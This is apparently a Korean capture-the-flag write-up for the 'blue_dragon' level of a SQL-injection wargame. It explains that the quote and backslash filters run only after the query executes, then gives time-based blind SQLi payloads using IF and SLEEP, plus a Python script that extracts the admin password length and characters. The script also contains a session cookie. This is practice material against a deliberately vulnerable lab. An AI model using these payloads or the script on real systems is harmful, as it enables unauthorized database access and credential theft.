공격 백터 : id, pw

 

입력 값에 대한 검증

  • id : prob, _, . 필터링, ', \ 필터링
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");

 

  • pw : prob, _, . 필터링, ', \ 필터링, addslashes()
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
$_GET[pw] = addslashes($_GET[pw]);

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");

이번 문제는 admin의 pw 값이랑 공격 백터의 pw 값이 일치하면 문제가 클리어되는 문제이다.

 

나는 첫번째 쿼리문을 select id from prob_blue_dragon where id='\' and pw=' or id=~~~#'으로 만들어줘서 테이블에 저장된 id 값을 살펴보려고 했지만, \이 필터링 되어 있어서 이는 불가능 하였다. 또한 '도 필터링되어서 다른 SQLi 쿼리문은 생각이 나지 않는다.

 

$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");

하지만 코드를 보니 결과 출력 후 필터링되고 있었다. 즉, 내가 입력한 ', \으로 이루어진 SQLi은 실행되고 나서 필터링이 된다는 것이다. 이러한 점을 이용하여 Time Based SQLi를 시도한다면 충분히 admin의 pw를 추출할 수 있을 것 같았다.

 

?id=admin’ and IF(LENGTH(pw)>1,SLEEP(5),0)#

위와 같이 IF문과 SLEEP 함수를 이용하여 Time Based SQLi를 시도하니 아주 잘 먹혔다.
이를 이용하여 admin의 pw 길이를 구해보겠다.

 

import requests, time

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text, time.time()-start

if __name__ == '__main__':
    url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
    cookie = 'dc81vfp5u86od3forb2h30t8be'

    sqli = SQLI(url, cookie)

    for num in range(1, 100):
        _, timeResult = sqli.timeBased(f"id=admin' and IF(LENGTH(pw)={num},SLEEP(5),0)%23")
        if timeResult >= 5:
            print('Admin pw length >>>', num)
            break

SQLi 코드를 만들 때 복사 붙여넣기를 하니깐 불편하여 차라리 모듈화 시켜서 사용하려고 이번엔 Class로 만들어봤다.
위 코드의 결과 값은 8이 나왔다.

 

이제 SUBSTR 함수를 이용하여 8글자를 하나하나 찾아보겠다.

 

result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            _, timeResult = sqli.timeBased(f"id=admin' and IF(SUBSTR(pw,{num},1)={hex(ord(s))},SLEEP(5),0)%23")
            if timeResult >= 5:
                print(f'Admin pw {num} >>>', s)
                result += s
                break

    print(result)

아무 이상 없이 pw를 구할 수 있었다.

 

서버에 전달하니 문제를 클리어할 수 있었다.

복사했습니다!